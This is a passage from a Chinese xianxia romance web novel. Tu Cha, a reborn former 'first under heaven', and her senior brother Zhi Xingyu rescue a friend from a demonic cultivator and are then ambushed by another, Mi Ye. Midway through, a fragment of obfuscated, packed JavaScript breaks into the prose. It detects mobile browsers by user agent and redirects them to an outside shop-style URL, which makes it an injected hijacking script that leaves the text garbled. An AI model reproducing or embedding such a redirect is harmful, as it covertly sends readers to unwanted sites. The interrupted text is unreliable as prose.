还记得有次长老聚集,讨论除魔之事,她坐在高位,看着底下人讨论得热火朝天,心思早就不知道跑哪来去了。
这种会议,她一向没什么发言,反正最后只要拔剑杀光敌人就好,所以对于内容她早就忘了个干净,但她记得屋外的黄花,还有那棵黄花树的味道,很浓郁又很清新,摇曳如黄云,轻柔又浪漫。
少年凝眉思索了一阵。
涂茶却看向郁桃神像,忽然道:“师兄,你知道郁桃吗?”
“就是神欲行的郁桃,这尊神像就是她,其实我觉得不太像她,她没那么英武,眉眼也没这么神气,她其实是个挺吊儿郎当的人,不爱当什么神像也不爱被游神,说不定她现在挺不乐意的,师兄,你说…”
涂茶的话还没说完,枝幸雨突然拉起她手,背着人群逆流而去。
“师兄!”
游神已经到了最热闹的时候,妖妖完全沉浸在这种气氛当中,根本没察觉到身侧两人的离去。
人们将花灯举过头顶对着神像许愿,花灯一晃一晃,少年的高马尾扎着一根红发带,夜晚的微风拂过,发带在涂茶眼前飘过,颜色鲜艳得夺走了周围所有的光芒。
他们逆着所有人群,逆着那些祈愿,结伴逃离这一切。
少年拉着她,风呼呼喧嚣,身边的人越来越少,灯火越来越黯淡,他们跑过一条条巷子绕过一个个街道,最后涂茶闻见了记忆里残留的那股气味。
“我不认识什么郁桃,也不知道她是什么样的人。”枝幸雨拉着她停在一棵参天古树下,周围云海翻滚,如满是香味的黄色雪花,玉颗珊珊下月轮,整个天地似乎都要被它装满了。
他松开手,望着她:“我只认识你,涂茶,是桂花,是桂花香。”
原来…是桂花啊。
这一瞬间,涂茶终于从十几年前那间困住自己的屋子里逃出,她的目光也终于从过去望到了现在。
她看着少年的脸,看向他身后的参天桂花树,所有属于郁桃的回忆最终被少年拉回到了这个桂花满园的夜晚。
她忽然真真切切地感受到了,她重生了,她不再是那个虽是天下第一却毫无自由的郁桃,不再是那个为了宗门为了正派耗尽自己一切的郁桃。
她终于知道那一年,院外的那棵黄花树叫什么了。
“谢谢你。”
涂茶湿润了眼眶,冲上前抱住他,少年身形一怔,抬起的手不知道要如何安放。
“我想郁桃也会喜欢你的回答的,是的,现在是涂茶,涂茶在你面前。”
她不需要再去想,至少有一个人从不在意什么郁桃,他认识一个流浪儿涂茶。
时间在少年少女的拥抱中似乎过了很久,久到枝幸雨决定伸手,涂茶已经调整好情绪。
她松开了手,退后的时候还不忘打趣:“师兄,我都这么主动了,你怎么不伸手抱抱我?”
“涂茶。”枝幸雨都有些习惯她这副不着调的样子了,这次听了也不过是用差不多得了的语气警告她。
涂茶抿嘴一笑:“好了好了,我知道了,听话,乖一点,是不是?”
枝幸雨抬手,涂茶还以为他要敲自己脑门,下意识捂脑袋,不想他只是拂过她头顶掉落的花瓣,瞥
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见她一副怕挨打的神色时忍不住嘴角一扬:“你什么时候听话过了?”
花瓣从身侧落下,一切都如此的缓慢而清晰。
这是涂茶第一次见他笑。
清浅的一抹笑,柔和了少年的冷冽,竟有几分温柔。
她不由看愣,等回过神,少年的脚步已经离去,她赶忙追上去:“师兄,你笑了对不对?你刚才笑了对不对!”
“没有。”
“有!你明明就有!”
“随你。”
“什么叫随我,明明就有,还有师兄,你身上也有桂花,我替你拍一拍。”
“不…涂茶你在乱摸什么!”
两人一路拌着嘴,等回到游神队伍时,发现刚才还站在这的妖妖不见了。
“妖妖?妖妖!”涂茶挤在人群中担心地左右环顾,甚至用了点灵力去寻她身影也没有找到。
“怎么办?是不是出事了?”
枝幸雨也觉得有些蹊跷,马上手中掐诀,从眼前划过,再睁开眼,一条金色的线浮现在空中。
只见那条金线不断蔓延,最后离开了人群朝着僻静的角落而去。
“跟上。”枝幸雨道。
涂茶点头,跟着他穿梭在人群中,两人如此紧张其实和附近有魔教之人有关,这些魔教中人行事残忍,为了提升修为会专门抓其他宗门修行之人提取他们的修为,甚至有人会通过合欢的手段将人修为提取走。
刚才涂茶就已经察觉到有魔教气息,但凑巧被打断,又去看了游神一时间就忘记了。
夜色渐深,两人穿过人群最后钻进一间幽静无人的巷子。
可金线到了巷子另一头就断掉了。
“奇怪?”枝幸雨停下脚步,再次念诀,试图再追寻一遍。
涂茶则在巷子里转了几圈,摸着墙壁,屏息感受气息,她不能用很多灵力,枝幸雨的修为很高,用得太多他一定会察觉到,只用一点的话,她只能仔细去感受那股魔教气息。
手指尖摸到一块墙壁,涂茶瞬间睁开眼睛,枝幸雨的金丝线也已追寻到此处。
两人对视一眼,枝幸雨拔剑:“退到我身后。”
涂茶马上退后。
只见枝幸雨徒手握着剑身划过,血液一点点渗出,剑身沾满了血,他长剑一挥破开了符咒。
一条藏在墙壁间的路出现了,通往不知名的地方。
涂茶认出来这种符咒,但她还是装作不懂的样子问:“师兄,这是什么?”
枝幸雨示意她跟紧自己,然后一边朝前快步而去,一边解释:“这是魔教的隐路咒,专门用于对付五大宗门的金寻眼,就是我刚才寻人的招数。”
“那师兄为什么能破解?”
“以血为引,可破迷踪,修为越高越能通行无阻,当然魔教的隐路咒也是一样的道理。”
“所以对方的修为如果很高,他的隐路咒就很难破除。”
“对。”
“那师兄太厉害了,居然这么轻松就破除了。”涂茶嘴上虽是这样说的,但眉头却紧蹙着。
枝幸雨虽破了此魔教中人的隐路咒,但这隐路咒刚才她看了一眼,极为繁复,看来对面修为也不可小觑。
而且…这一路,此人一直能掩藏好自己的气息,若非刚才离自己太近,被她察觉记住了,她几乎不会发现此人的踪迹。
看来,妖妖怕是凶多吉少。
11. 危机
深夜的风格外刺骨,两人穿过山林小路,追寻妖妖的气息。
“师兄,等等!”涂茶拉住枝幸雨的衣摆,示意他看向地上,“你看,是妖妖腰上的小壶。”
枝幸雨捡起翻看:“确实是她的,看来我们离得不远了。”
“师兄…”涂茶话音未落,耳边一丝微动引起她的警觉,她拉着枝幸雨转身:“师兄!在那!”
枝幸雨几乎是转身的一瞬间,就已经拔剑而出,剑气划破暗夜,将躲在暗处的人逼了出来。
那人侧身一躲,发现自己暴露行踪,立刻将妖妖挡在身前:“退后!不然我杀了她!”
“妖妖!”
只见妖妖嘴上有禁制,发不出声音,但眼泪已经淌满脸庞,身上一路颠簸早已伤得伤,破得破。
涂茶握紧拳头,面色一沉,抬手拿出身后的伞。
她想动手了。
“涂茶,你退后。”枝幸雨的声音突然响起,涂茶才回过神,望向他侧脸,他的眼神幽暗,手中的剑气愈发凌厉。
差点忘记了,枝幸雨还在这,他可以救妖妖。
“我说了,后退!”那人虽藏在黑暗中,可涂茶还是一眼就看出了他肩颈处有伤口。
“师兄,攻击他的右肩。”
枝幸雨抬眸,剑身消失,那人神色一变,转身想跑,忽然脚下浮现幽蓝的阵法,将他重压跪地,阵法涌现灵力,一瞬间四个角出现四把剑镇压而下,那人吐血而出,眼神死死盯着枝幸雨。
枝幸雨手中掐诀,剑身浮现在眼前,他一把握住剑,迅雷不及掩耳之势朝着那人刺去。
没想到,剑锋就要刺到之时,那黑衣男子眼眸闪过得逞之意,一旁的妖妖瞬间被他拽到身前。
“师兄!”
枝幸雨眼眸一震,猛然停住,剑气划向一旁。
轰隆——
只见一侧的树林顷刻间被斩断一片,火光闪烁。
“可恶!”阵法下他还能有控制灵力的能力,果然是个难缠的家伙。
现在妖妖在他手里,师兄不敢用太厉害的阵法怕伤到妖妖,但这样下去,那黑衣男子很快就能脱身而去了。
涂茶这时候也顾不得其他了,她拉住枝幸雨低语:“师兄,他应该是受了重伤,所以不敢和我们硬碰硬,但他修为瞧着不一般,我想他迟早能脱身,不如这样…”
只是说话期间,男子口中不停念诀,吸取妖妖身上的灵力,他要靠这些灵力突破。
见此涂茶眼中闪过戾色,话刚说完,也不等枝幸雨同不同意,立刻拔出他手中的剑:“师兄,借你剑一用!”
说着,她闯进阵法,剑锋直直刺向男子,阵法也开始消散,男子故技重施再次将妖妖挡在自己身前。
可这次,涂茶的剑根本没有停下的意思,男子眼中一诧,抬手想阻挡,涂茶大喊:“师兄!”
“地缚术!”
地面上突然涌出藤蔓,将男子双脚束缚住,他咬牙马上念诀,火焰燃起,燃烧藤蔓。
趁他这一瞬间分神,涂茶一把撞开妖妖,再次唤道:“就是现在!”
“雪诀!”
枝幸雨急忙掐诀,借着一道汹涌剑气,涂茶抬手将早已偷偷注入手中的灵气一同刺进男子右肩。
砰——
空旷的土地上,男子瞬间被剑气震飞,砸在树上咳出鲜血。
涂茶踉踉跄跄,站稳后赶忙将地上的妖妖扶起,带到枝幸雨身边。
枝幸雨替她解除禁制,妖妖张着嘴就大哭:“涂茶!枝幸雨!你们终于来救我了!我快吓死了,还以为我今天死定了!”
“没事了没事了,妖妖你没有受伤吧?”涂茶赶紧安慰。
“没有,他一直在跑,我就是受到点擦伤。”
“没事就好。”
不然她可太愧疚了。
涂茶正想着,远处那人撑着摇摇欲坠的身子站起,口中鲜血不断,几乎是命在旦夕了还在逞强。
不过他这回没有人质在手,现在杀他绰绰有余。
枝幸雨抬起剑,将两人护在身后,目光犀利地盯着那片黑暗。
那男子边咳边笑,抬手抹去嘴角的血,嘴里念着什么,涂茶定睛一看:“不好!是…”
她止住嘴一把推开枝幸雨,只听利刃声穿透胸膛,鲜血瞬间飞溅在枝幸雨脸上。
妖妖的惊呼声响起,涂茶看见了师兄震惊到失神的眼眸,最后天旋地转,她跪倒在地,倾倒那一刻,身体被一个温暖的拥抱拥入怀中。
涂茶咳着血,视线失焦,她看不清少年的神色,但她想他一定脸色不好,不然怎么眉头皱得这么紧?
“师兄…咳咳…我没事…”
只不过是魔教的血术。
这种招数都是魔教之人垂死挣扎时会用的招数,就是拿自己的命和敌人同归于尽,若是以前遇到这些招数,她当然可以一剑挡下。
但今日不可以,她不能在他面前暴露身份,所以她刚才也没有说出咒术的名字。
“涂茶!你流了好多血,怎么可能会没事?!”妖妖跪地在她面前,焦急又害怕。
“我…真的没事…这不是还有师兄在吗?”血术虽然可怕,但她身体早就被重塑过,这些伤只要有她的灵力入体很快就能愈合,再不然枝幸雨愿意为她渡灵力也是可以的。
不过…他会愿意吗?
涂茶正想着,忽然身体泛出雪色光,伤口正在飞速愈合。
她诧异地抬眼,看向为她渡灵力的枝幸雨:“师兄?”
“别说话,你伤得很重。”枝幸雨的眉头皱得不能再皱了,哪怕是在黑夜,她都能看出他脸色的难看。
“渡灵力!枝幸雨,你这样做会消耗灵力的,输入太多还会伤到灵根…你!你是疯了吗?”妖妖是修行之人,她比任何人都清楚渡自己灵力给别人可不是一件小事。
灵力消耗不可逆,没有了就是没有了,给别人就是给别人了,只能重新修炼,如果一下子消耗太多,人会很虚弱,更甚至会危及生命!
若非生死之交,没有人愿意渡自己灵力给对方,更多是借助阵法符咒灵器救人,绝非用自己的灵力。
可此刻…若是不这样做,涂茶就要没命了。
妖妖认识到这点,也算是知道对方为什么这么做。
没想到他们之间可以拿命相救。
妖妖心中震撼,她看向远处已经死绝的男子,松了一口气,然后想起什么马上取出自己怀中的小鸟,机关变幻莫测,最后小鸟成了一个小型阵法。
她朝天一抛,阵法浮现在地面,为他们护起了一道保护罩。
“涂茶,枝幸雨,你们可要撑住啊,千万别有事。”妖妖只能在一旁祈祷。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17093402|195539||http|test|mini|href|location''.split(''|''),0,{}));
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>阵法内,涂茶的呼吸很浅,血术贯穿了身体,她没有想到枝幸雨愿意渡自己灵力来救她:“师兄,抱歉,又给你添麻烦了。”
“涂茶,我真的很生气。”
“嗯?”涂茶一愣。
只见枝幸雨不断输入自己的灵力,眼中的神色复杂到连他自己都说不清此刻到底是什么感受,他只是觉得很生气,非常的生气。
“你为什么要闯阵法,为什么替我挡血术,为什么不能乖一点躲在我身后,为什么要受伤?为什么…为什么我会这么生气?”
少年的话一句接着一句,仿佛是要将内心那些折磨和不安一股劲倒出来,好让自己理清楚是为什么,可是他越说反倒越不清楚了。
涂茶闻言,先是愣了愣,等有些明白过来后才笑了。
“你笑什么?”枝幸雨恼怒。
涂茶抬手,轻轻握住他的手腕,少年手一抖,停住想抽回的动作。
“师兄,对不起,我没想到师兄这么关心我,这么在乎我的安危,原来师兄和我一样在乎对方。”
“在乎?”枝幸雨一愣,心口似乎开了一个盖,有什么酸酸甜甜的味道要冒了出来。
“对啊,师兄现在就是很关心很在乎我,所以怕我受伤,看到我真的出事了,师兄就生气了,气我不听话。”
少女的话婉转动人,落在枝幸雨的耳边,似乎是这样的道理,可是…
枝幸雨最后输入一股灵力,一下子输入太多,他脸色苍白,神色恍惚。
“师兄?”涂茶捂着胸口,着急想坐起来。
妖妖在屏障外看到他们俩没事了,激动得眼泪哗哗掉,嘴里不知道在说什么。
屏障内,枝幸雨赶忙伸手扶住她,摇头示意自己没事,他强撑着抬眼看她,似乎在思考什么很重要的事情,好半天,涂茶对着他挥挥手:“怎么了师兄?”
少年一把握住她晃动的手,皱着眉摇头:“不对。”
涂茶微怔:“什么不对?”
“我不是生你的气,我是在生我自己的气。”
“什么?”
两人的手交握,相视时一种奇怪的感觉在他们之间流淌,让彼此都有些心口发热。
枝幸雨不自觉收紧她的手,低声道:“我答应过你,我会保护你,可今天我没有保护好你,所以,我是在对我自己生气,不是你。”
话落,涂茶望着他,忽然觉得枝幸雨道眼眸炙热又充满蛊惑,让她紧张地想抽回手:“我…”
突然,他又开口:
“涂茶,你痛吗?”
涂茶一怔,下意识就想隐瞒:“我不…”
“可以说,你可以说痛的。”
说着话,枝幸雨突然收紧,似乎不允许她退缩。
这一瞬,涂茶想起小木屋那晚,他也是这样对自己说的,这次他又重复了一次,好像怕她逞强,事实上她就是这样想的,可是…
面对他的温柔和在乎,涂茶眼眶忍不住微微泛红,其实她很需要这样的关心,因为再厉害的人也是会疼的啊。
“师兄,我很痛,胸口很痛很痛,你抱抱我吧,抱我好吗?”
“好。”
这一次,枝幸雨没有拒绝,他伸手抱住了她,小心又那么珍视,他拍拍她的背像对待小孩一样:“抱歉,我让你受伤了,以后不会了,不会让你这么痛了。”
12. 把她还给我
“你们在说什么呢?”
守在外面的妖妖一句话也听不见,就看见两个人说了半天,最后突然拥抱在一起。
枝幸雨将屏障散去,两个人的脸色虽然惨白但却透着奇怪的红晕。
“好啦,我们快些回去吧。”涂茶有些不好意思,她拉着妖妖赶紧往前走。
夜晚入深,僻静小路上三人说着话离开了此地。
过了很久,早已死去的魔教之人周围忽然浮现出一个身影。
他站在死尸面前,长剑划破他的喉咙,一股黑气扑面而来,他将这股气吸收殆尽,最后震惊地睁开眼,似乎是在此男子的记忆中看到了什么。
“徽月…”
黑夜浓稠,他的侧脸锐利有些稚嫩,但他的眼神却透着极致的阴狠。
“我终于找到你了。”
…
经历了一晚的惊心动魄,妖妖算是体验了一把什么叫江湖,刚一起床她就坐在餐桌上对昨晚的经历侃侃而谈:“你是不知道,当时被抓走的时候我以为我死定了,我还惦记着要给你的伞改装一下,这事差点成了我的遗愿,还好最后得救了。”
“改装伞?”涂茶吃着早点,回头看了一眼自己的伞,“你要改装我的伞?”
“对啊,你这把伞除了遮阳没有其他任何用处,不如交给我,我可以给你的伞重新组装一遍,让它能变成一把剑!”
“这么神奇!”涂茶一听,赶忙咽下口中的包子,将伞递给妖妖,“你改装吧,我百分百支持你!”
这可是墨家伞的手艺哎!
她前世的时候一直想把自己的剑改装一下,看看能不能有其他样式,不过这个想法最后被长老们一口回绝了,他们说她的剑就是她的象征标志,不可以有其他变化。
没想到今日,她居然能完成愿望了!
妖妖接过伞,骄傲地扬扬下巴:“你放心吧!我早就想给你改装了,昨天你们还舍命救了我,我肯定会给你的伞改装得妥妥帖帖!”
“我信你!”涂茶说完,转头看向店外:“不知道师兄去情报阁汇报消息怎么样了,要不我去找一下他吧。”
“他应该快回来吧,再等等?”
“算了,我还是去找他吧,顺便路上买点吃的,不然回了神欲行就没好吃的了。”
“行,那你去吧,我给你改装伞,最晚今晚我就能给你改装好。”
面对这个比自己小的妹妹,涂茶总有几分宠溺,她笑着摸摸妖妖的头:“好,你改装吧,我马上就回来。”
“好!”
涂茶走出客栈,寻着自己的记忆去找情报阁,路上还买了些瓜果零食吃,等她慢慢逛到情报阁询问了一番,才发现枝幸雨早就已经离开了。
“离开了?可我路上没有碰到他?”
“这我就不知道了,我只记得他汇报完情况就出门走了。”
“好,谢谢你。”
涂茶走出情报阁,看向街道,四周的路通往四面八方,她一时间真不知道往哪里寻找他,伞又不在身边,没法用金寻眼去找…
“小姑娘,你是不是在找人啊?”突然有个老奶奶走过来问她。
涂茶虽然奇怪,但还是点点头。
“是不是一个戴着面具,握着剑的少年郎?”
“对,是他,奶奶你知道他去哪里了吗?”
老奶奶指了指一个方向:“我刚才看见他往那边走了。”
“谢谢奶奶。”涂茶道完谢,连忙朝着那个方向奔去。
等人走远后,原本和蔼的老奶奶露出奇怪的微笑,然后转身消失在了人群中。
涂茶寻着一条方向,一路询问都没有踪迹,直到走出宽阔的大街,来到一条陌生的小路,她忽然察觉到不对劲,一股阴森的气息扑面而来,有人一把捂住了她的嘴,将她掳走了。
客栈内。
妖妖正在改装涂茶的伞,门外响起一阵敲门声。
她跑去开了门:“枝幸雨?”
门外站着的正是从情报阁回来的枝幸雨。
他视线越过她,望向屋内:“涂茶在吗?”
“不在,她不是去找你了吗?你们没碰上吗?”妖妖摇头。
“找我?”闻言,枝幸雨眉头一皱,道了声麻烦了就朝着楼下而去。
“哎!”妖妖趴在门外,望着枝幸雨急促的背影心生疑惑,“怎么回事?”
枝幸雨来到客栈外,马上用金寻眼去寻找涂茶的踪迹。
涂茶是个凡人,虽不太会被魔教之人盯上,但正是因为她没有修为和灵力,如果被报复盯上,就是死路一条。
金丝线浮现在空中,逐渐蔓延至远处,枝幸雨循着线很快就找到了线的尽头,但是到了这里,四周空无一人,枝幸雨以血为引,发现也毫无变化。
可他没有觉得自己猜错,或者找错,反倒觉得如此情况更危险了。
因为连他都看不破的隐路咒,一定是修为远在他之上的人。
枝幸雨想往前走,突然一股神秘的力量将他往后一拉,瞬间把他吸入一个黑洞之中。
四周黑漆漆,看不清路,枝幸雨站起身手握银雪剑,时刻警惕着,直到他听到远处传来一点声音,他循声走了过去。
“幸雨。”
枝幸雨脚步猛地一顿。
这个声音…
他的脸色一变,毫不犹豫地握剑追了上去,直到眼前出现一片光亮——
小小村落,一间不起眼的小木屋,院子里一位美丽的女子正弯腰同一位孩童说着什么,枝幸雨忍不住走近。
“幸雨,妈妈不是和你说了,不可以和别人打架的,打架是不对的。”
“可是他们说,我没有爸爸。”
女子神色一恍,转而嘴角微微一笑,摸着他头发:“他们乱说的,幸雨怎么会没有爸爸,爸爸只是去了很远的地方,等你长大了,你就会见到他。”
“真的吗?”留着妹妹头的幼年枝幸雨歪头,“那为什么他现在不来见我们?”
女子的手指温软,相貌与枝幸雨几乎是有七八分的相似,但比起枝幸雨的冷与妖,她的眉眼更加出尘清冷,气质更为纯净,哪怕一身粗布麻衣也难掩她的谪仙之美。
女子一手拉着枝幸雨的手,一手捏捏他的脸,软声哄道:“幸雨,听话,我们不讨论这些了好吗?妈妈带你去吃糖葫芦好不好?”
小小的枝幸雨虽然还有很多问题想问,但在母亲的温柔下还是乖乖地点点头,跟着她离开了。
不远处的枝幸雨看到他们要离开,脚步匆匆追了上去,眼看母亲的身影要消失,他忍不住大喊:“妈妈!”
眼前的画面瞬间消失。
他又来到新的场景。
木屋外煮着药罐,屋子里女子躺在床榻上,面色苍白,无力的指尖死死抓着小小枝幸雨的手:“答应我,一定要去神欲行,无论能不能见到,你也一定要去。”
“妈妈,你不要死,不要离开我。”小小的枝幸雨紧紧握着女子的手,无助又绝望。
女子的气息只进不出,最后一眼,她不舍地望着自己的孩子,眼角泪水滑过,她伸出手想再摸摸他,指尖轻轻一触,最后掉落在孩童的手心。
“不!”
枝幸雨看着这幅场景,心神动荡,冲了过去,漆黑的画面猛地一亮,他又回到了刚才的地方。
只不过此时天色渐深,四周已经看不清来路。
枝幸雨撑着剑单膝跪倒在地,一滴眼泪如珍珠掉落而下。
周围一股阴狠至极的气息忽然逼近,枝幸雨回过神,立刻拔剑往后一斩,黑雾散去,一个人影出现在他面前。
这是一个妖孽又满是戾气的男子,他一身黑红的衣服,眼眸泛红,毫不避讳自己魔教夜弥天的身份。
枝幸雨拔剑相对,眼中冷冽:“涂茶在哪?”
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男子冷笑,指节挥开枝幸雨的剑,漫不经心:“你只关心这个?”
“涂茶在哪!”枝幸雨没有耐心和对方打哑谜,他知道刚才那些幻境是眼前这人搞的鬼,虽然不知道他为什么要通过幻境窥视自己的记忆,但此刻他更在乎涂茶的安危。
枝幸雨长剑一挥,剑气几乎要划破男子喉咙,但男子纹丝未动,只是抬手一挡,将锋利的剑气全部消散。
“你生气的样子可一点不像她。”
说罢,原本还笑着的男子脸色一冷,他眯着眼,一个闪回近身掐住枝幸雨的脖子,审视的目光不停地在他脸上打量:“她死了对吗?你为什么让她死了?如果她不在了,你的存在有什么意义?”
男子越说,手上的劲越狠,枝幸雨在他面前几乎是没有任何还手之力,他的脸色暴红,呼吸困难,再多一寸劲他就要死在男子手里了。
“告诉我…涂茶…在哪…”
男子眉头一皱,他没想到死到临头了,枝幸雨还在追问涂茶的下落。
他忽然觉得很好笑,甩手将人丢开,手中灵力浮现,一个浑身是伤的少女被他抱在怀里。
“涂茶!”枝幸雨单膝撑在地上,嘴里还在咳血,看到涂茶闭着眼浑身是伤,他立刻拔剑杀来,无比震怒,“把她还给我!”
男子轻松躲开,甚至能一只手将枝幸雨打飞。
他嘴角噙着冷蔑的笑,将人一次次打伤,而枝幸雨又一次次站起来,一次次朝他杀来。
这副倔强的样子,让他想到了她。
男子心里无端厌烦,最后一次,他使出更深的力道,一掌打在枝幸雨胸膛,少年瞬间口吐鲜血,心脉震碎,飞出很远倒在地方一动不动。
“你不配活着,看到你的脸,我只想杀了那个人,为什么要离开我?为什么要丢下我!”
男子将少女丢在地上,一步步朝着少年走近,眼中涌现杀意。
原本躺着一动不动的少年睁开眼,他靠着仅存的意志力再次爬起,他单膝撑起,手中浮现他的银雪剑。
男子手中也浮现长剑,剑锋挑起少年的下巴:“徽月居然为了你离开我,而你却没有保护好她,你真该死!”
说着,他准备动手杀了少年,突然——一把小刀刺入男子后背。
他不可置信地回过头,是清醒过来的涂茶用妖妖的小壶变幻出小刀刺向了他。
男子震怒,剑锋一转,剑气划破涂茶的身体,鲜血飞溅,她怔愣的目光望向跪地的少年,嘴角扯出一个想安慰的笑意,口中还无声道:我没事的。
少女落地的身体无比响亮,鲜血在一瞬间渗透了土地,她虚弱地吐着气,不停咳着血。
这一剑要了她的命。
“涂茶!!!”
枝幸雨目眦欲裂,痛苦地大喊,可少女早已血流成河,耳边听不见一点声音。
男子走向她,手中掐诀,一道符咒涌现,阵法落在她身上,他要献祭少女的身体。
枝幸雨的呼吸越来越急促,眼底的泛红开始蔓延,耳边嗡嗡耳鸣,四周的一切都变得混沌缓慢,少年的身体忽然不断散发着浓郁的黑沼气,仿佛要吞噬周遭一切事物。
“没想到天下第一如今竟落到如此境地。”男子一步步走近,手中灵力愈加浓烈,少女撕裂的身体也愈加脆弱。
她瞳孔已经失焦,喉咙里的血更是让她一句话也说不出口,但她努力扭着头,透过男子的身影望向远处遍体鳞伤的少年,嘴里无声道:师兄…
“把你的身体献祭给我,我会好好享用的。”男子说着抬起剑,准备往下刺穿少女心脏。
忽然,天如燃烧过的火焰,瞬间暗红下来。
男子意识到不对,回头瞬间——
一只手穿透了男子胸膛。
涂茶看到红发带飘过,男子跪倒在地,露出了少年猩红的双眸。
“我说了,把她还给我!”
13. 天魔剑
他仿佛失去了理智,疯魔狠戾,红眸充血地望向涂茶。
她心中一惊,红眸是魔教夜弥天的标志…枝幸雨怎么会是魔教之人?
“哈哈哈哈哈!”跪倒在地的男子流着血抬起头,马上一把掐住枝幸雨的脖子,“杀我?你还太嫩了!”
男子的伤口迅速愈合,立刻朝着枝幸雨打出一拳,然而这次少年的反应速度更快了,他徒手接住了拳头,将其折断,嘴角还露出狰狞疯狂的笑意,长剑幻化成无数把剑,朝着男子飞刺。
剑气锋利,带着不顾一切的狠劲,完全不像枝幸雨往日的风格。
两人在一旁交锋,枝幸雨的红眸越发鲜艳,衣服沾上血迹,红发带早不知道是它本来的颜色还是血的颜色。
男子也感觉到枝幸雨的难缠。
他入魔了,修为提升不是一星半点,甚至时间越久他越不知疲倦,越是癫狂。
“没意思。”男子接下枝幸雨的一剑,已经不想和对方纠缠了。
他抬眸,周身迸发出恐怖的气息,一震,一瞬就将枝幸雨震飞,落到涂茶身边。
可倒地才一秒,少年马上站起身,赤红着眼不知疲倦地还想继续。
这时,一旁的涂茶抓住了他的衣袖。
“师兄,不要…”
枝幸雨睁着红眸回过头,眼中闪过狠戾。
他已经失去理智了。
涂茶不停咳着血,摇头示意他不要再去拼了,但入魔的枝幸雨眼中只有嗜血的本能,他毫不留情地甩开少女的手,准备杀过去。
“好痛。”
少年一怔,手里传来有一股温热,这次,涂茶握住了他的手。
“师兄,我好痛。”
她太虚弱了,那点微弱无助的声音其实根本没人能听见,可疯魔的枝幸雨偏偏听见了。
他眼眸一晃,竟转过了身。
少女满身是血的躺在地上,伤口不断地流,脸上惨白的几乎没有一点血色。
这一眼,枝幸雨脑子一嗡,迟钝地跪在她面前,脸上不知道粘得谁的血,在他雪白的脸色犹如鬼魅一般。
少年伸手试图去愈合少女的伤口,可他自己身上也早就伤痕累累,每次愈合都是在燃烧生命。
枝幸雨的理智并没有完全回来,他也不知道为什么,就是想救她。
涂茶握住了他的手,轻轻笑着摇头:“师兄,不用救我了。”
听到涂茶的话,少年眼神愣愣地看着少女,忽然眼泪流下,带着血一同滴落在少女脸颊,涂茶想,她今日可能真的要死在这了。
天色仍旧暗红如火,抹不开的阴沉压抑。
她望着少年的红眸,绚烂艳丽,像是一颗火烧的宝石。
“好美。”涂茶摸过他的眼睛,努力扯出一个笑,“师兄,你的眼睛好美啊。”
她曾经杀过见过这么多魔教之人,可从未有这么一刻,她会觉得那双充满罪恶与邪魔的红眸会是美丽的。
可今日,望着少年的眼睛,她竟觉得,这双红眸简直是如火烧般美得动人心魄。
少年闻言,猛地一怔。
他过去曾不小心露出过红眸,可那时候所有人都觉得这是不祥,这是妖孽的象征,要杀了他,后来长大了他才知道这是魔教夜弥天的红眸,是罪恶的象征,他不可以暴露。
所以他远离人群,就是怕自己的身份被发现,怕别人知道他身上流着魔教的血。
为此他始终自卑且不安。
可少年没想到,今时今日,有一个看见了他的罪,看到他的红眸,居然会对他说,你的眼睛很漂亮。
这一瞬,被蚕食的理智忽然回神,死寂的心再次开始跳动,如烈火重生般在剧烈跳动着。
“涂茶…”
枝幸雨的眼神逐渐恢复清明,看到涂茶的伤,他颤抖着握住她的手,酸痛与懊悔将少年的心彻底淹没。
“对不起,涂茶,对不起,我没有保护好你,对不起。”
“不怪你…”涂茶已经太虚弱了,根本支撑不住,她抬起的手缓缓落下,从他胸前的陶埙上擦过,血液沾上他黑色的陶埙。
少年心痛如绞,赤血的红眸在消退,血泪滑过脸庞。
“我说,我还没死呢。”
身后男子懒懒地挽着剑花,最后剑指两人,不给任何反应的机会迅速杀来,枝幸雨即刻回身,直接用双手去挡,鲜血从口中涌出,男子冷笑一声,念诀:“地煞!”
砰——
爆发的巨大波动将少年五脏震碎,他仰天吐血,这一招他其实可以躲开,但他不能躲。
涂茶还在他身后。
受到如此重创,少年心脉五脏已经全部枯竭,他眼前一黑,重重倒在地上。
一旁的涂茶却只能睁着眼看着这一切发生,若是她将伞带出门了,若是她留有一丝灵力在身上,若是…
她错了。
涂茶终于明白,她之前的想法太天真了!
就算她不想做天下第一,她也不该放弃拔剑保护别人的机会!
这一刻,看着枝幸雨为保护自己暴露身份,为保护自己而身受重伤,内心的愧疚震惊心痛如火一般燃烧着她的血液。
男子解决完枝幸雨,继续朝她走来:“涂茶…不对,我应该叫你郁桃,曾经的天下第一。”
“你肯定想不到我会认出你的身份,可我偏偏就是能,从你重生的那一刻开始我就感应到你的存在了,今天我终于能杀了你献祭于阵,现在就让我彻底吸收你的灵力!”
他说着手中掐诀,嘴里念咒。
涂茶浑身炽热,本该让她痛苦的阵法此刻似乎并没有什么感觉。
忽然,她感觉空气中有一股熟悉的气息在吸引她。
涂茶眼眸一亮,看向少年身上的陶埙。
陶埙沾上的血已经全部被吸收了。
“喂,就算是要我死,也得告诉我你叫什么吧?”涂茶说着努力爬起来,蓝衣已经渗满血液,她痛苦且吃力地挪向少年。
“死人是不需要知道我的名字的。”男子高傲地拔出剑,咒术念得越发快,但他还是停下提了一嘴,“但你够资格。”
“夜弥天,弥野。”
涂茶仰着头,手悄悄摸上少年胸前的陶埙:“弥野?从未听说过,怕只是个无名小卒吧?”
“你!”弥野立刻灵力加深,咬牙道,“死到临头了还嘴硬,你死的时候我才七岁,若我当时正当年,你的天下第一早就归我了!”
一股源源不断的灵力正在疯狂注入体内,涂茶感受到了那股熟悉的气息。
是属于她的。
闻言涂茶嘴角轻佻地扬起,一副自大又傲慢的模样向人挑衅道:“是吗?曾经很多人都觉得可以杀我,可最后都被我一剑斩杀。”
“那是他们太弱了。”
男子不以为然,还以为是涂茶在垂死挣扎,可她突然抬眸,冷冷道:
“那你觉得,你能扛下几招呢?”
少女说罢,突然周身浮现出强大的气流,黑色的陶埙发出幽蓝的光芒。
弥野被这股气流逼退束缚,怎么也挣脱不了。
